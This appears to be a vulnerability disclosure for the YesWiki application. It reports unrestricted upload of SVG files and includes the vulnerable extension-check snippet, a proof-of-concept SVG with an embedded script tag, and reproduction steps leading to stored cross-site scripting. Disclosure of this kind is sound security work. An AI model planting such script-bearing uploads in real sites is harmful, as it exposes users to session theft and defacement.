Description

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker to inject javascript code via SVG uploads. https://github.com/YesWiki/yeswiki/ is vulnerable to Unrestricted Upload of File with Dangerous Type as shown below:

Proof of concept

Vuln variable: $allowedExtensions
Snippet:

    $att = new attach($this);

    // list of valid extensions, ex. array("jpeg", "xml", "bmp")
    $allowedExtensions = array_keys($this->config['authorized-extensions']);
  

$allowedExtensions allows svg to upload and xss

Payload

Create an image called poc.svg with the following content:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
<polygon id="triangle" points="100,100 100,500 500,100" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS attacks');
</script>
</svg>

Login to yeswiki and edit homepage http://localhost/yeswiki-doryphore/?HomePage/edit Upload the created file and save Clic the circle and observe XSS

Impact

The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.